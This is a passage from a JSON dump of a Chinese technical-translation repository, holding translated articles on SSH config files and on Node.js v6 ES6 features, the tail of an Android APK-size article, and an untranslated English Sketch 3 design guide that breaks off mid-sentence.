的原因，\n这就是 Android Instant App 要求更小的 APK。Instant App 允许安卓用户不经过安装直接使用，是另一种让你的用户发现你的 app 的方式。关于开始使用 [Android Instant App](https://developer.android.com/topic/instant-apps/index.html)，你可以在这里找到更多信息。你也可以学习更多 [管理下载内容大小的最佳实践](https://android-developers.googleblog.com/2017/08/android-instant-apps-best-practices-for.html)。\n\n* * *\n\n### 你怎么看？\n\n我希望你觉得这些观点有用。你有没有关于 APK 大小的问题或观点，或者关于缩小 app 所占空间的故事？在评论区中继续讨论或在 twitter 中使用 #AskPlayDev 的标签。我们将从 [@GooglePlayDev](http://twitter.com/googleplaydev) 回复。我们定期在这里分享新闻，以及如何在 Google Play 上成功的建议。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/simplify-your-life-with-an-ssh-config-file.md",
    "content": ">* 原文链接 : [Simplify Your Life With an SSH Config File](http://nerderati.com/2011/03/17/simplify-your-life-with-an-ssh-config-file/)\n* 原文作者 : [Joël Perras](http://nerderati.com/about/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [circlelove](https://github.com/circlelove)\n* 校对者: [sqrthree](https://github.com/sqrthree) ; [L9m](https://github.com/L9m)\n* 状态： 翻译完成\n\n# SSH 简化配置\n\n假如你和我相似的话，或许你的日常就是登入登出六七个远程服务器（或者在那些日子里面使用本地虚拟机）。如果你和我更相像，对于记住n多用户名、远程地址和那些记住非标准连接端口以及本地端口发往远程机器和命令行选项感到头疼。\n\n### shell 别名\n\n好比你有个名为 `dev.example.com` 的远程服务器，它没有为无密码登录设置公钥和私钥。远程账户名为 fooey ，为了减少脚本式登录的次数，你决定把默认 SSH 端口从常规默认值`22`改成`2200`.这就像下面典型的命令一样：\n\n    $ ssh fooey@dev.example.com -p 22000\n    password: *************\n\n还不错哈。\n\n我们也可以使用公钥/私钥对让事情更简洁安全；我强烈建议使用 [ssh-copy-id](http://linux.die.net/man/1/ssh-copy-id)来移动你的公共密钥。它能够省去相当数量的文件/文件夹访问许可问题\n    $ ssh fooey@dev.example.com -p 22000\n    # Assuming your keys are properly setup…\n\n现在这看上去还不算太坏。为了简化冗长的情况，你也可以在 shell 里面创建简单的别名。\n\n    $ alias dev='ssh fooey@dev.example.com -p 22000'\n    $ dev # To connect\n\n这个方法相当漂亮：每当需要连接新服务器的时候，只要添加一个别名到你的 .bashrc(或者.zshrc 如果你和很棒的人在一起)，那就是：\n\n### ~/.ssh/config\n\n不过，该问题还有更多优雅灵活的解决方案。进入 SSH 配置文件：\n\n    # contents of $HOME/.ssh/config\n    Host dev\n        HostName dev.example.com\n        Port 22000\n        User fooey\n\n\n这意味着我可以轻松地进行 `$ ssh dev`，选项可以在配置文件中读取。简单极了。让我们看看我们还能用简单的配置指令做什么。\n\n\n从个人角度来说，我在各种服务器和设备上使用了相当多的公钥/私钥对，为了将密钥泄露事件发生之后的损害降到最低。例如，我有一个专门为 [Github](https://github.com/jperras)  账户设置的密码。让我们配置好特定密钥就可以用于所有 github 相关的操作了：\n\n    Host dev\n        HostName dev.example.com\n        Port 22000\n        User fooey</p>\n    Host github.com\n        IdentityFile ~/.ssh/github.key\n\n\n使用带有 `IdentityFile` 的配置文件可以让我精确定位那个我希望用来给主机权限的私钥。你当然也可以轻松地指定命令行选项为”正常“的链接。\n\n    $ ssh -i ~/.ssh/blah.key username@host.com\n\n\n\n但是，如果你想指定哪个身份来使用任意 git 命令时，带有 IdentityFile 的配置文件的使用[差不多是你唯一的选择](https://git.wiki.kernel.org/index.php/GitTips#How_to_pass_ssh_options_in_git.3F) 。这也启发了基于每个项目或组织来进一步细分的有趣设想。\n\n    Host github-project1\n        User git\n        HostName github.com\n        IdentityFile ~/.ssh/github.project1.key</p>\n    Host github-org\n        User git\n        HostName github.com\n        IdentityFile ~/.ssh/github.org.key</p>\n    Host github.com\n        User git\n        IdentityFile ~/.ssh/github.key\n\n\n这意味着如果我想以我的组织认证克隆一个仓库的话，我能够使用以下的命令\n\n\n    $ git clone git@github-org:orgname/some_repository.git\n\n\n### 更进一步\n\n\n像所有有安全意识的开发者会做的那样，我为所有的服务器都架设了防火墙，使他们尽可能地受限；很多情况下，这意味着我留下来可用的端口只有`80`和`443`（为web服务器），以及为 SSH 的`22`端口（无论我可能映射到欢笑的目的）。表面上看，这似乎防止让我使用像桌面 MySQL 图形客户端这样的东西，在远程服务器上，想要开放和访问的 3306 端口仍未知。然而，懂行的读者会清楚，一个简单的本地端口能省去很多事：\n\n    $ ssh -f -N -L 9906:127.0.0.1:3306 coolio@database.example.com\n    # -f puts ssh in background\n    # -N makes it not execute a remote command\n\n\n\n这样就能把所有来自本地端口`9906`转入远程服务器`dev.example.com`端口`3306`,让我指向桌面图形用户界面到主机名（127.0.0.1:9906)，让它表现得完全像是把`3306`端口全部暴露在远程服务器和直接设备上一样。\n\n\n现在我不了解你，但是得记住表示标记和[SSH](http://linux.die.net/man/1/ssh)选项的顺序真是令人难受。幸运的是，我们的配置文件可以帮您减负。\n\n    Host tunnel\n        HostName database.example.com\n        IdentityFile ~/.ssh/coolio.example.key\n        LocalForward 9906 127.0.0.1:3306\n        User coolio\n\n\n\n意味着我可以轻松地进行：\n```\n   $ ssh -f -N tunnel\n\n```\n然后我本地端口转发能够使用我设置在隧道主机上的所有指令，十分顺畅。\n\n### 作业\n\n\n你可以在`~/.ssh/config`里面指定相当数量的配置选项，我强烈建议你常看网上的[文档](http://linux.die.net/man/5/ssh_config)或者 **ssh_config**  手册页。你可以添加一些有趣/有用的东西：更改连接尝试的默认数量，指定本地环境变量在连接后传给远程服务器，改变默认连接尝试数量。甚至是使用*还有?的通配符来匹配主机。\n\n我希望这些多少对你有用。如果你针对 SSH 配置文件有任何很酷的技巧，在评论中留下你的想法；我一直在寻找有趣的技巧。\n\n"
  },
  {
    "path": "TODO/six-of-the-most-exciting-es6-features-in-node-js-v6-lts.md",
    "content": "> * 原文地址：[6 of the Most Exciting ES6 Features in Node.js v6 LTS](https://nodesource.com/blog/six-of-the-most-exciting-es6-features-in-node-js-v6-lts?utm_source=nodeweekly&utm_medium=email)\n* 原文作者：[Tierney Coren](https://nodesource.com/blog/author/bitandbang)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[王子建](https://github.com/Romeo0906)\n* 校对者：[Yuze Ma](https://github.com/bobmayuze)，[markzhai](https://github.com/markzhai)\n\n# Node.js v6 LTS 中最激动人心的六个 ES6 特性\n\n随着 [Node.js v6 LTS \"Boron\"](https://nodesource.com/blog/need-to-node-recap-introducing-node-js-v6-lts-boron) 的发布，Node.js 的核心 API 和依赖关系得到了全面的改进。基于 Chromium 的 JavaScript 引擎的 Node.js V8 的更新非常重要，它具备对 Node.js 和 JavaScript 开发者心心相印的 ES6 的[几乎全方位](http://node.green)的支持。\n\n这篇文章中，我们将一起了解 Node.js v6 LTS 版本中的六个最新的 ES6 特性。\n\n## 给函数设置默认参数\n\n新的[默认函数特性](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters)让函数在初始化定义的时候能够设置一个默认的参数值。\n\nES6 中函数默认参数特性和随后 Node 核心内容的增加，并没有必然地增加以前没有实现的功能。也就是说，这些对自定义参数值的最高级的支持让我们在整个应用生态中能够写出更加协调一致的代码。\n\n以前为了设置函数默认参数，你必须这样做：\n\n    function toThePower(val, exponent) {\n      exponent = exponent || 2\n\n      // ...\n\n    }\n\n现在利用新特性，可以这样定义参数并设置默认值：\n\n    function toThePower(value, exponent = 2) {\n      // 内部代码略\n    }\n\n    toThePower(1, undefined) // exponent 默认设置为 2\n\n## 用解构的方式提取数组和对象的数据\n\n[解构](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment)数组和对象使得开发者能够从两者中获取值并将其以变量的形式展现。解构有着非常广泛的应用——包括需要从大集合中获取特定的值之类的情况，提供一种简单的方法能够在语言内置特征中获取值。\n\n解构对象的语法要求用花括号（`{}`），解构数组的语法要求用方括号（`[]`）。\n\n*   数组: `const [one, two] = [1, 2]`\n*   对象: `const {a, b} = { a: ‘a’, b: ‘b’ }`\n*   默认: `const {x = ‘x’, y} = { y: ‘y’ }`\n\n## 解构实例 1：\n\n    // 伪元素\n    function returnsTuple() {\n      return [name, data]\n    }\n\n    const [name, data] = returnsTuple()\n\n## 解构实例 2：\n\n    const threeValuesIn [,,,three, four, five] = my_array_of_10_elements\n\n## 解构实例 3：\n\nES5 中获取对象值的方法:\n\n    var person = {\n      name: \"Gumbo\", \n      title: \"Developer\", \n      data: \"yes\" \n    }\n\n    var name = person.name\n    var title = person.title\n    var data = person.data\n\nES6 中利用解构获取对象值的方法：\n\n    const { name, title, data } = person\n\n## 利用 Array#includes() 检查数组的值\n\n内置的 [`.includes()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes) 数组方法（提示：# 表示这是一个可以用于数组的[内置方法](https://twitter.com/bitandbang/status/792113575804272640)）能够非常简单地检查数组中是否包含某个值。如果数组中包含某个特定的值，该方法将会返回 `true`。谢天谢地，你可以和 `array.indexOf(item) === -1` 永别了。\n\n    [1, 2].includes(1) // 返回 true\n\n    [1, 2].includes(4) // 返回 false\n\n[多余参数](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters) 使得函数能够获取预定义参数之外的参数，这些参数将会被收录在一个数组中。同时可以利用方法来获取并解析这些多余的参数，并且实现一些扩展功能，这要比之前通过 `arguments` 对象来处理具有更多的优选项。（类似于 PHP 中的可变参数函数，即传入的参数数目大于函数定义的参数数目，可以通过特定的函数获取这些参数并另作他用。译者注）\n\n多余参数同样适用于箭头函数——这简直棒极了！箭头函数之前并没有这种功能，因为箭头函数中不存在 `arguments` 对象。\n\n    function concat(joiner, ...args) {\n\n      // args 实际上是一个数组\n\n      return args.join(joiner)\n\n    }\n\n    concat(‘_’, 1, 2, 3) // 返回 ‘1_2_3’\n\n## 用展开运算符展开数组\n\n[展开运算符](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)是一款 JavaScript 中原生的多元化工具。它非常实用，可以将数组展开成函数的参数或者数组常量。举个例子，它的神通广大之处在于当你需要重复使用一些值的时候，展开运算会将其存储起来，并且调用的时候会比之前占用更少的内存。\n\n在函数参数中使用展开运算符：\n\n    const numbersArray = [1, 2, 3]\n    coolFunction(...numbersArray)\n\n    // same as\n    coolFunction(1, 2, 3)\n\n在数组常量中使用展开运算符：\n\n    const arr1 = [1, 2]\n\n    const arr2 = [...arr1, 3, 4]\n    // arr2: [1, 2, 3, 4]\n\n展开运算符还有一个有趣的特性，可以和 Emoji 交互。Wes Bos [shared](https://twitter.com/wesbos/status/769228067780825088) 了一个展开运算符的有趣的用法，一个非常形象的和 Emoji 的使用实例。其中一个例子：\n\n![Emoji 与 JavaScript 的展开运算符](https://images.contentful.com/hspc7zpa5cvq/2gYkLeavHOcAEaOyoqAqeq/498511fff19e56f1898aaa8e3d6d2a65/Emoji_and_the_JavaScript_Spread_Operator.png)\n\n提醒一下，Hyperterm 或者 Terminal.app （OS X 上的一个老版本）都不能正确显示新版的 Emoji —— 那只是一个 JavaScript 和 Node 用在一些边缘领域的有趣的例子而已。\n\n## 给匿名函数命名\n\nES6 中，匿名函数可以接受一个 `name` 属性，这个属性在调试问题中极其有用——比如，当你得到了一个匿名函数导致的堆栈轨迹时，你将能够的到该匿名函数的 `name` 值。\n\n相比于在 ES5 或之前的版本中你只能够得到堆栈轨迹的 `anonymous` 信息，ES6 的这个特性显得尤为引人注目，它给出了一个明确的原因，而不是泛泛而谈。\n\n    var x = function() { }; \n\n    x.name // 返回 'x'\n\n## 写在最后\n\n如果你想了解更多关于 Node.js v6 发布为长期支持版（LTS）的变动，请查看我们的博文：[升级之后，Node.js v6 LTS 的十个关键特性](https://nodesource.com/blog/the-10-key-features-in-node-js-v6-lts-boron-after-you-upgrade)。\n\n或者，想获取更多 Node、JavaScript、ES6、Electron、npm、yarn 或者其他内容的更新，请关注 [@NodeSource](https://twitter.com/nodesource) 的 Twitter。非常乐意收到您的消息，我们一直都在！\n"
  },
  {
    "path": "TODO/sketch-mastering.md",
    "content": "> * 原文链接 : [Mastering Sketch 3 - Design+Code](https://designcode.io/sketch-mastering)\n* 原文作者 : [Mastering Sketch ](https://designcode.io/sketch-mastering)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : \n* 校对者: \n* 状态 :  待定\n\n## A Comprehensive Guide to Designing in Sketch\n\nOver the last 3 years working with Sketch, I’ve learned a number of key techniques that helped me tremendously in my workflow. Using that experience, I released [3 UI Kits(https://designcode.io/ios9), which were downloaded over 300,000 times collectively. Because I enjoy prototyping and coding as well, I need a tool that can execute designs fast and that delivers assets effortlessly. I barely use Photoshop or Illustrator anymore. 99% of my job is focused on designing, animating and building user interfaces for Web and Mobile. Sketch, its plugins and other prototyping tools fulfill that role.\n\n## New Features and Techniques\n\nSketch has grown tremendously since 3.0, [releasing updates(http://bohemiancoding.com/sketch/whats-new/) faster than its competitors to improve performance, stability and to introduce new features such as Local Sharing, Scissors and new iOS / Material Design templates. There are new Plugins that make Sketch more powerful than ever for working with adaptive layouts, style guides and prototyping: [Fluid(https://github.com/matt-curtis/Fluid-for-Sketch), [Magic Mirro(http://magicmirror.design/), [Content Generator(https://github.com/timuric/Content-generator-sketch-plugin), [Zeplin(https://zeplin.io/) and [Flinto(https://www.flinto.com/mac) just to name a few.\n\n### Local Sharing\n\n_With Local Sharing, you can export all your Artboards in a Web interface and share it to anyone on the same Wi-Fi as you. To remove the local restriction, use this [trick(https://medium.com/@thomasdegry/how-sketch-took-over-200gb-of-our-macbooks-cb7dd10c8163)._\n\n\n![](https://designcode.io/cloud/sketch/Learn-LocalSharing.jpeg)\n\n\n_As soon as you enable this feature, Sketch will start generating a Web page that shows all the Artboards and Pages of your document. Like this, whether the recipient is on their iPhone, iPad or Windows machine, they can open the link and view the entire design._\n\n### Scissors\n\n_Scissors is a powerful new tool that lets you quickly cut parts of a vector. For instance, a circle can be cut in half, then close its paths to reform a new shape. It requires far less steps than using Subtract or editing the vector points manually._ _Combined with Border Options, Vectorize Stroke and Flatten, you can create interesting new shapes, especially when it comes to using outlines. A lot of familiar icons out there may benefit this technique._\n\n### New Templates\n\n_The new iOS and Material Design templates are particularly comprehensive since **version 3.4**. Android also gets a new App Icon template. They’re a great starting point for any designer, beginners and experts alike. You don’t need to download anything since they’re preloaded in Sketch._\n\n\n![](https://designcode.io/cloud/sketch/Sketch-iOSGUI.jpg)\n\n\n_⬆︎ Sketch iOS UI Kit._\n\n\n![](https://designcode.io/cloud/sketch/Sketch-MaterialDesign.jpg)\n\n\n_⬆︎ Material Design UI Kit._\n\n\n![](https://designcode.io/cloud/sketch/Sketch-AndroidIcon.jpeg)\n\n\n_⬆︎ Android Icon Design_ _Templates make it easy to have a solid starting point and to respect strict design guidelines. For elements like the Status Bar, Tab Bar and icons, it is recommended to use them as a guide. To use them, go to **File** ➤ **New From Template**._\n\n\n![](https://designcode.io/cloud/sketch/Screenshot%202015-10-03%2023.21.10.png)\n\n\n_You can also store custom templates by downloading your own. [Facebook Design(http://facebook.github.io/design/), [Sketch App Sources](http://www.sketchappsources.com/) and [Sketch Repo](http://sketchrepo.com/) are some of favorite places for finding them. Once you download these templates, you can go to File > **Save as Template**._\n\n## Border Options\n\n_One of the most under-utilized features of Sketch is the border options, which is hidden in a small gear icon next to border styles. But you can do really cool things with it, like replicating the Apple Watch rings._ _Learn how to create the Apple Watch rings in the [Techniques](http://designcode.io/sketch-techniques) section._\n\n### Background Blur\n\n_iOS uses blur everywhere, from the Lock screen to the Notifications center. **Background Blur** is a feature unique to Sketch, and it’s extremely convenient. The blur is a dynamic sheet placed on top of multiple layers in the background. It updates in real-time as everything changes._ _Creating the exact same effect only requires you to create a Shape, set the Fill opacity to less than 100%, and change the blur to Background Blur. From there, you can customize the Blur strength. As you move the Blur layer, the layers underneath blur automatically. You can use Soft Light or Overlay to add interesting effects that replicate the Vibrancy in iOS._ _In addition to Background Blur, you have the usual **Gaussian**, **Motion** and **Zoom** blurs. Background Blur can be an expensive feature to the performance of Sketch, so don’t overuse it. Flatten to Bitmap whenever possible._\n\n## Working with Vectors\n\n_Vector is traditionally something that’s very hard to learn because you had to master the Bezier Curve and recreate complex shapes from scratch. Sketch makes this a little easier by combining simple shapes, rounding vector points and vectorizing borders. You can replicate 90% of all the icons found in iOS 9 by applying these basic techniques. Watch the [full video tutorial](http://designcode.io/sketch-vector)._\n\n\n![](https://designcode.io/cloud/sketch/Vector-Points.jpg)\n\n\n### Straight Point\n\n_The Straight Point is as easy as drawing a straight line. If we stopped here, we’d only be able to draw perfect geometric shapes. Use **Shift** to draw perfectly straight lines._\n\n\n![](https://designcode.io/cloud/sketch/Vector-Straight.jpg)\n\n\n### Mirrored\n\n_**Mirrored** is a symmetric bezier curve. As you change the **angle** or **distance** of one side, it’ll update the other side as well._\n\n\n![](https://designcode.io/cloud/sketch/Vector-Mirrored.jpeg)\n\n\n### Asymmetric\n\n_Similar to Mirrored, Asymmetric will keep the same **angle**, but allows for a different **distance**._\n\n\n![](https://designcode.io/cloud/sketch/Vector-Asymmetric.jpeg)\n\n\n### Disconnected\n\n_When the two handles are completely different, use **Disconnected**. You can even delete one handle and keep the other. This is especially useful when you have a sharp turn, followed by a curve._\n\n\n![](https://designcode.io/cloud/sketch/Vector-Disconnected.jpeg)\n\n\n### Open / Close Path\n\n_When you begin a new Vector, it’ll be open. In other words, you can draw as many points as you want before it completes itself. When you’re ready to close the path, click on **Close Path**._ _If you wish to re-open the paths again, click on **Open Path**. Notice that it’ll open at the **last** point. Press **Alt** to show the first, which gives you an idea where the last point will be._\n\n### Polygon Points\n\n_You can quickly create a **Polygon** with as many points as you want. This only works with the Polygon shape._\n\n\n![](https://designcode.io/cloud/sketch/Sketch-PolygonPoints.gif)\n\n\n### Star Points and Radius\n\n_The **Star** shape has not only Points, but Radius as well, which lets you design the perfect angle for your points._\n\n## Duplicate and Transform\n\n_A design tool is often measured by how easy it is to manipulate layers. It should be able to handle key tasks like duplicate, scale and transform in few steps. Luckily, Sketch has all those tools and more._\n\n### Make Grid\n\n_When I discovered this method, it really affected the way I worked. Make Grid makes it easy to duplicate anything, for any amount of copies in a grid style. You can set the spacing between the elements or have them enclosed in boxes before duplicating. This is specifically useful for handling List (Table View) and Grid (Collection View) interfaces, or simply rearrange layers in an orderly fashion. Make Grid also works on Artboards._\n\n### Perspective Transform\n\n_The Transform tool may be harder to use than in your typical vector tool such as Illustrator, but it works if done right. Plus, you don’t have to switch between two applications._ _First, make sure to **Convert to Outlines** every text layer. Also, ungroup everything since Transform won’t work on Groups. Finally, select all the layers together and do Transform (**Cmd Shift T**). The beautiful thing about this is everything will be kept in vector._\n\n### Scale Tool\n\n_One of my favorite tools in Sketch is the Scale tool (**Cmd K**). Note that this isn’t the same as resizing, since it actually scales every property: Size, Radius, Border, Shadow and Inner Shadow. For instance, a 1 px border scaled at 200% will be 2 px. By only resizing, it’ll remain 1 px. This will be indispensable for converting **@1x** UI Kits to **@2x** or **@3x**, as it even works with Artboards._\n\n## Alignment, Distances and Guides\n\n_There are many tools in Sketch that will help you design with incredible precision. You can never have too much precision. Designers would have a hard time working without rulers and grids, because they’re essential to keeping the composition organized and clean._\n\n\n![](https://designcode.io/cloud/sketch/Sketch-Alignment.jpeg)\n\n\n### Smart Guides\n\n_Smart Guides are intrinsic to the experience of using Sketch. In fact, it’s an essential feature in most apps where drawing is involved. As soon as you start dragging in a layer, red lines will appear to indicate if it's well-aligned or centered properly. Unique to Sketch, you’ll see Smart Guides appearing even before you start drawing, enabling incredible precision._\n\n\n![](https://designcode.io/cloud/sketch/Keyboard-Insert.gif)\n\n\n### Distances\n\n_Holding the **Alt** key will show the distances between the selected layer against other ones in the same Group or Artboard. It also measures the distances to the Artboard itself. It’s important to mouse over different elements to see the distances._\n\n\n![](https://designcode.io/cloud/sketch/Keyboard-Distances.gif)\n\n\n_**Tip**: Distances can work against Rulers as well._\n\n\n![](https://designcode.io/cloud/sketch/Learn-DistancesRuler.gif)\n\n\n### Align and Distribute Objects\n\n_As you create new shapes, you can instantly align them horizontally or vertically within the Artboard. When two layers are selected, they can also align with each other._ _Distribute Objects allows you to normalize the distances between multiple layers._\n\n### Rulers\n\n_Rulers can be enabled by pressing **Ctrl R**. They’re good for setting persistent guides that can be snapped or measured against your layers. To create a guide, simply click within the Ruler regions. **Hold Shift** to jump by 10 px._\n\n\n![](https://designcode.io/cloud/sketch/Keyboard-Rulers.gif)\n\n\n_In the Editor, You can even get the distances between a layer and a Ruler guide by holding the **Alt** key and hovering the guide._\n\n### Layout\n\n\n![](https://designcode.io/cloud/sketch/Sketch-LayoutSettings.jpeg)\n\n\n_If you open Layout Settings, you’ll find a way to set up your own Layout Grid system, such as the famous [960grid](http://960.gs/). With this, setting up 2, 3 or 4 columns proportionally is as easy as snapping the layers to the grids. Layout Grids are particularly useful for bigger screens that occupy multiple columns and call for clean divisions. Examples are Web, iPad and tvOS interfaces._\n\n### Grids\n\n\n![](https://designcode.io/cloud/sketch/Sketch-Material-Design%202.jpeg)\n\n\n_Enable Grids (**Ctrl G**) to divide your canvas perfectly. For instance, Material Design encourages a 8 dp grid system in order for shapes, text and baselines to fall perfectly into those lines. This promotes better spacing and cleanly divided layouts._\n\n\n![](https://designcode.io/cloud/sketch/Design-SpacingAlign.jpg)\n\n\n_For iOS, the guidelines are not as strict. Mostly, you are encouraged to have a minimum padding and margin of 8 pt._\n\n### Pixels Grid\n\n_Use **Show Pixels** (**Ctrl P**) to make sure that your design is pixel perfect. Pixels will only be visible at more than 100% zoom if enabled. If you zoom at 1000% or more, you can see the Pixels Grid automatically._\n\n\n![](https://designcode.io/cloud/sketch/Vector-BezierCurve%202.jpeg)\n\n\n## Preferences\n\n_You may want to customize some preferences. Here are the key options that will likely affect your workflow later on._\n\n### Auto-Save\n\n_I highly recommend Auto-Save. It will automatically save all your changes as you design, preventing you from losing precious work in case of crashes, power outage or accidental quitting. Please note that Auto-Save may be dangerous if fonts are missing or team mates open your files and make changes to them. That may lead to unintended modifications. Also, be wary of the [disk space cost](https://medium.com/@thomasdegry/how-sketch-took-over-200gb-of-our-macbooks-cb7dd10c8163), especially if you happen to work with large bitmaps._\n\n\n![](https://designcode.io/cloud/sketch/Sketch-Auto-Save.jpeg)\n\n\n### Reverting To Old Versions\n\n_With Auto-Save enabled, Sketch will create a version history of your documents. In case mistakes happen (and they will happen), you can revert back to an older version of your Sketch file. Since Sketch 3.4, you can disable this feature._\n\n### Pixel Fitting\n\n_As a result of working with vectors, new shapes may not always land on the pixel grid as you create them, making them not as sharp as they should be (to enable Show Pixels, press **Ctrl + p**). As you align or resize, this option will make sure that your pixels stay sharp._\n\n\n![](https://designcode.io/cloud/sketch/Sketch-PixelFitting.gif)\n\n\n### Sub-Pixel Anti-Alias Fonts\n\n_Sub-pixel Antialias makes your typefaces unnaturally thicker in exchange for increased readability. That was useful at a time when monitors were small and didn’t have a Retina resolution. Today, as screens are infinitely better and texts are bigger, this option will only make your fonts inaccurate to the true rendering, especially for mobile devices. In Sketch’s Preferences (**⌘,**), you can disable it by going to **Canvas**._\n\n\n![](https://designcode.io/cloud/sketch/Sketch-Preferences.jpeg)\n\n\n### Artboards within Artboard\n\n_When you work with dozens of screens, you can have a great overview of the whole experience. You may also have Artboards within an Artboard, allowing you to quickly export the entire flow._\n\n\n![](https://designcode.io/cloud/sketch/Sketch-Arboards-All.jpeg)\n\n\n### Artboard Background\n\n_To select the Artboard, you must select the title above it. An Artboard may have a background color, otherwise the resulting screen will show a transparent background instead of what seems to be white._\n\n\n![](https://designcode.io/cloud/sketch/Sketch-Artboard-Options%202.jpeg)\n\n\n## Color Picker\n\n_Colors are easy to work with in Sketch. As explained in the [Colors](http://designcode.io/colors) section, you can switch from **RGB** to **HSB**, a more intuitive way to manipulate colors. Like this, you are in control of how much Hue, Saturation and Brightness you need._\n\n\n![](https://designcode.io/cloud/sketch/Sketch-HSBA.gif)\n\n\n### Quick Eyedropper\n\n_The **Eyedropper** tool (shortcut: **Ctrl + C**) allows you to quickly pick colors within the document, or even outside the bounds of the application. The magnifying glass will increase the precision._\n\n\n![](https://designcode.io/cloud/sketch/Sketch-EyeDropper.gif)\n\n\n### Frequently Used Colors\n\n_Sketch will automatically detect the colors used inside your document. To access it, click on the color itself. Colors will be ordered by how many times they were used._\n\n\n![](https://designcode.io/cloud/sketch/Sketch-FrequentColors.gif)\n\n\n### Color Palettes\n\n_**Global Colors** are shared across all your Sketch documents. On the other hand, **Document Colors** are document-specific. There’s a [good plugin](https://github.com/andrewfiorillo/sketch-palettes \"Sketch Palettes\") for saving your own palettes, or download from other designers. I made one using iOS, Material Design and FlatUI. You can download it [here](http://cl.ly/2k1g3h1w1c1y)._\n\n\n![](https://designcode.io/cloud/sketch/Sketch-ColorPalettes.jpeg)\n\n\n### Gradients\n\n_In the same window as the Color Picker, you can switch to the **Gradients** Tab. In iOS, gradients are often used for app icons, backgrounds and buttons (combined with blur and vibrancy) to add a sense of depth. On the Mac, they’re even more [prevalent](http://www.sketchappsources.com/free-source/1387-yosemite-icons-pack-sketch-freebie-resource.html)._\n\n\n![](https://designcode.io/cloud/sketch/Sketch-Gradients-Examples.jpg)\n\n\n_You can edit your gradient by dragging the ends of the sliders. You can also rotate, or add new gradient points by double-clicking in the slider._ _**Radial Gradients** are typically used for large backgrounds to give a more realistic spotlight. You can achieve interesting results by dragging the points outside the bounds of the canvas._ _**Angular Gradients** are especially handy for circular shapes’s backgrounds like those on the Apple Watch._\n\n### Patterns\n\n_Patterns can be used to repeat a **Tile** design and create interesting backgrounds by using a tiny image. I often use this feature in combination with the [Content Generator Plugin](https://github.com/timuric/Content-generator-sketch-plugin) to quickly set up avatars and image backgrounds by using the **Fill** option._ _There's this [great site](http://thepatternlibrary.com/) lets you use their library of gorgeous patterns._\n\n### Noise\n\n_If you want to replicate dust, paper or aluminium textures for presentations or to serve as an image background, then use the Noise fill at a very low opacity. Additionally, you can use Overlay or Soft Light to blend the colors even better._\n\n## Exporting Assets\n\n_Perhaps my favorite feature is the ability to easily export at multiple screen resolutions, at **1x**, **2x**, **3x**, or any custom resolution. If you have troubles understanding pixel densities, filenames and formats, read the [full tutorial](http://designcode.io/sketch-exporting)._\n\n### Designing in 1x\n\n\n![](https://designcode.io/cloud/sketch/Assets-Designing1x.jpg)\n\n\n_When you're designing in Sketch, you need to be aware of the pixel density that you're designing in. Ever since the introduction of **@3x** screens (iPhone 6 Plus), most designers are going back to designing in **1x**. That way, exporting assets for all 3 pixel densities is easier and far more accurate. For each asset, you need to create @1x, @2x and @3x files, so that they work on all iPhones and iPad devices._ _If you’re unsure with what Artboard to start with, go with the **iPhone 6 at 375 x 667**. That will effectively target most iPhone users today._\n\n### Export Tricks\n\n_If you drag out any Layer or Group out of the Sketch window, it’ll automatically create a **1x** PNG asset without the need to slice anything. If you want the slice to be in **2x** or **3x**, or another file format, just use Make Exportable before._\n\n![](https://designcode.io/cloud/sketch/Assets-ExportFolder.gif\n\n_If you name your Layer or Group **folder/asset**, it’ll automatically export to the folder name before the forward slash._\n\n\n![](https://designcode.io/cloud/sketch/Assets-800w.jpg)\n\n\n_When you use Make Exportable, you can set a **Max number** for width or height. For example, **800w** will export the asset to a maximum of 800 px wide._\n\n## Keyboard Shortcuts and Tricks\n\nKeyboard shortcuts play a major part in Sketch to boost your productivity while designing. You can save a few seconds per action, which really adds up as you perform them hundreds of times per day.\n\nHere are all the 80+ Keyboard Shortcuts, excluding the contextual shortcuts such as those in the Inspector and Layers List. Download the [Apple Keyboard](http://cl.ly/0f32133Y1l2g).\n\n\n![](https://designcode.io/cloud/sketch/Keyboard-Shortcuts.jpg)\n\n\n### Select Any Layer Quickly\n\n_When layers are grouped, you lose the ability to select specific layers. But there are 2 solutions:_\n\nSelect one level deeper inside a Group\n\nDouble-Click\n\nSelect any layer regardless of groups\n\n⌘ Click\n\n### Focus Layers\n\n_Artboards and Layers can be quickly focused on. This is extremely useful for finding your layers._\n\nFocus on all the elements in the screen\n\n⌘ 1\n\nFocus on the element selected\n\n⌘ 2\n\n### Layers and Groups\n\n_It is recommended to always name your layers, and group (**⌘ G**) similar layers together. When you do, it is much easier to manage and organize your document._ _You can drag outside to export 1x PNG asset based on Layer, Group or Artboard. You may override that setting by using Make Exportable._\n\n\n![](https://designcode.io/cloud/sketch/Keyboard-DragOut.gif)\n\n\n### Expand and Collapse\n\n\n![](https://designcode.io/cloud/sketch/Keyboard-LayersList.jpeg)\n\n\n_As you work with hundreds of layers and nested groups, you’ll want to be able to find your layers quickly._ _**Alt Click Expand Arrow** to expand and collapse all Artboards and groups._\n\n### Copy and Paste\n\n_One of the convenient things about Sketch is that it plays really well with other Mac apps like Finder, Keynote, Pages and Mail. Copy any image or text to the **Clipboard** 